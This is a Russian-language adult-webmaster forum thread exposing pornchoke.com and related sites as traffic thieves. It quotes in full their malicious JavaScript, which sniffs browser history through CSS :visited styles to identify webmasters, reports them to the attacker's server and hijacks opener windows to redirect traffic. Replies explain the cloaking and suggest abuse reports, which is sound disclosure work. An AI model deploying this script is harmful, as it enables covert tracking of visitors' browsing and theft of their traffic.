Pornchoke.com & reporn.net & lieporn.com - читеры

http://pornchoke.com/

Этот сайт грузит скрипт the http://pornchoke.com/t/html.php?script=js script (виден только однажды для одного IP и с рефере полем http://pornchoke.com/)

Этот скрипт отслеживает АВМ айпишники и грузит какую то гадость, которая ворует траф через opener

Сайты lieporn.com & reporn.net также находится в подсетке /28 и имеют такой же лейаут + похожие другие JavaScript скрипты. Так что reporn.net & lieporn.com на 90% тоже читеры и крысы трафика

Сам скрипт такой:

Код:

document.write("<style type='text/css'>.u96{visibility:hidden;position:absolute;}.u96:link{visibility:hidden;position:absolute;left:0px}.u96:visited{visibility:hidden;left:10px}.u97{visibility:hidden;position:absolute;}.u97:link{visibility:hidden;position:absolute;left:0px;}.u97:visited{visibility:hidden;position:absolute;left:10px;}</style>");var url=new Array(); url[0]='http://adultwebmasterinfo.com/'; url[1]='http://www.adultwebmasterinfo.com/'; url[2]='http://adultwebmastermeeting.com/'; url[3]='http://www.adultwebmastermeeting.com/'; url[4]='http://apscripts.com/'; url[5]='http://www.apscripts.com/'; url[6]='http://armadaboard.com/'; url[7]='http://www.armadaboard.com/'; url[8]='http://arrowscripts.com/'; url[9]='http://www.arrowscripts.com/'; url[10]='http://askdamagex.com/'; url[11]='http://www.askdamagex.com/'; url[12]='http://cheaterhell.com/'; url[13]='http://www.cheaterhell.com/'; url[14]='http://chokertraffic.com/'; url[15]='http://www.chokertraffic.com/'; url[16]='http://cj-racer.com/'; url[17]='http://www.cj-racer.com/'; url[18]='http://cjlog.com/'; url[19]='http://www.cjlog.com/'; url[20]='http://clickzs.com/'; url[21]='http://www.clickzs.com/'; url[22]='http://comusthumbs.com/'; url[23]='http://www.comusthumbs.com/'; url[24]='http://cozyfrog.com/'; url[25]='http://www.cozyfrog.com/'; url[26]='http://crutop.nu/'; url[27]='http://www.crutop.nu/'; url[28]='http://crutop.nu/Vbulletin/'; url[29]='http://www.crutop.nu/Vbulletin/'; url[30]='http://dtrotator.com/'; url[31]='http://www.dtrotator.com/'; url[32]='http://fhgstore.com/'; url[33]='http://www.fhgstore.com/'; url[34]='http://gallerytrafficservice.com/'; url[35]='http://www.gallerytrafficservice.com/'; url[36]='http://gallerytrafficservice.com/client/'; url[37]='http://www.gallerytrafficservice.com/client/'; url[38]='http://gofuckbiz.com/'; url[39]='http://www.gofuckbiz.com/'; url[40]='http://greenguyandjim.com/'; url[41]='http://www.greenguyandjim.com/'; url[42]='http://gtsru.com/'; url[43]='http://www.gtsru.com/'; url[44]='http://jmbsoft.com/'; url[45]='http://www.jmbsoft.com/'; url[46]='http://justblowme.com/'; url[47]='http://www.justblowme.com/'; url[48]='http://klikforum.com/'; url[49]='http://www.klikforum.com/'; url[50]='http://krawl.com/'; url[51]='http://www.krawl.com/'; url[52]='http://linkex.dk/'; url[53]='http://www.linkex.dk/'; url[54]='http://mediumpimpin.com/'; url[55]='http://www.mediumpimpin.com/'; url[56]='http://netpond.com/'; url[57]='http://www.netpond.com/'; url[58]='http://pimpboard.com/'; url[59]='http://www.pimpboard.com/'; url[60]='http://pornstarkings.com/'; url[61]='http://www.pornstarkings.com/'; url[62]='http://protect-x.com/'; url[63]='http://www.protect-x.com/'; url[64]='http://proton-tm.com/'; url[65]='http://www.proton-tm.com/'; url[66]='http://protraffic.com/'; url[67]='http://www.protraffic.com/'; url[68]='http://rusadult.com/'; url[69]='http://www.rusadult.com/'; url[70]='http://rusawm.com/'; url[71]='http://www.rusawm.com/'; url[72]='http://smart-scripts.com/'; url[73]='http://www.smart-scripts.com/'; url[74]='http://streamscripts.com/'; url[75]='http://www.streamscripts.com/'; url[76]='http://submitpasses.com/'; url[77]='http://www.submitpasses.com/'; url[78]='http://tgpsoftware.com/'; url[79]='http://www.tgpsoftware.com/'; url[80]='http://tgpteam.com/'; url[81]='http://www.tgpteam.com/'; url[82]='http://trafficadept.com/'; url[83]='http://www.trafficadept.com/'; url[84]='http://trafficholder.com/'; url[85]='http://www.trafficholder.com/'; url[86]='http://trafficroup.com/'; url[87]='http://www.trafficroup.com/'; url[88]='http://trafficshop.com/'; url[89]='http://www.trafficshop.com/'; url[90]='http://umaxforum.com/'; url[91]='http://www.umaxforum.com/'; url[92]='http://xbiz.com/'; url[93]='http://www.xbiz.com/'; url[94]='http://xclicks.net/'; url[95]='http://www.xclicks.net/'; url[96]='http://ynot.com/'; url[97]='http://www.ynot.com/'; url[98]='http://viruslist.com/'; url[99]='http://www.viruslist.com/'; url[100]='http://malwaredomainlist.com/mdl.php'; url[101]='http://www.malwaredomainlist.com/mdl.php'; url[102]='http://x2more.com'; url[103]='http://www.x2more.com'; url[104]='http://x2more.com/checker'; url[105]='http://www.x2more.com/checker'; url[106]='http://cjwebmasters.com'; url[107]='http://www.cjwebmasters.com'; url[108]='http://deluxepass.com'; url[109]='http://www.deluxepass.com'; url[110]='http://epassporte.com'; url[111]='http://www.epassporte.com'; url[112]='http://statsremote.com'; url[113]='http://www.statsremote.com'; url[114]='http://submitter.krawl.com/submitters/submit.php'; url[115]='http://bbs.adultwebmasterinfo.com/'; url[116]='http://bbs.mediumpimpin.com/'; url[117]='http://forum.krawl.com/'; url[118]='http://boards.xbiz.com/'; var b11=0,t11='',g11=0;var b12=0,t12='',g12=0;var lin;for (var s=0;s<url.length;s++){document.write("<a href='"+url[s]+"' class='u96' id='l"+s+"'>"+url[s]+"</a>");lin=document.getElementById("l"+s);if(lin.offsetLeft>0){b11=url[s];t11=s;g11=1;break;}};if(g11==1){window.document.write("<scr"+"ipt src='http://pornchoke.com/t/html.php?addip="+b11+"&type="+t11+"'></scr"+"ipt>");}else if(g11==0){if(opener&&!opener.closed){window.opener.location.replace('http://pornchoke.com/op_r.php?url=http://www.chicks18to19.com/&url2=http://www.trafficholder.com/in/in.php?lovingstison');}opener=0;}else if(g11==0&&g12==0){}

спасибо, нашел его у себя
почистил

блин, вчера вечером добавился, только комп собрался выключать, решил утром уже его посмотрю....а тут вот Perlover обрадовал

отпиши холдерам - пускай забанят его

а что делает скрипт с этими адресами? че-то не могу понять..

тестит на visited статус линки авм ресурсов
если visited - значит броузер там был, значит это АВМ и фиксирует его айпи
А дальше - видимо собирает базу айпишников АВМов и им зловредный код не показывает больше никогда, а для других IP - показывает
Я эту тему обсуждал еще на awmelite.com. Сначала не знал, зачем надо IP АВМ-ов узнавать, приходили разные нехорошие мысли, но на awmelite пришли к выводу, что это новый способ впаривать всякую заразу, только более изощренный

В списке мастер-икса нет. Читер буржуй видать.

fucking american cheaters

а они все на русских гонят

goodlover писал:

В списке мастер-икса нет. Читер буржуй видать

мастер уже давно дрочерский форум а умакс, крутоп, армада, rusawm.com - это то ты не заметил? кроме рашен читерс такой хуйней никто не занимается

На TrafficHolder абузу напишите и дайте сцылку на сайт со скриптом - прикроют... у них так отсылавть траф запрещено кажется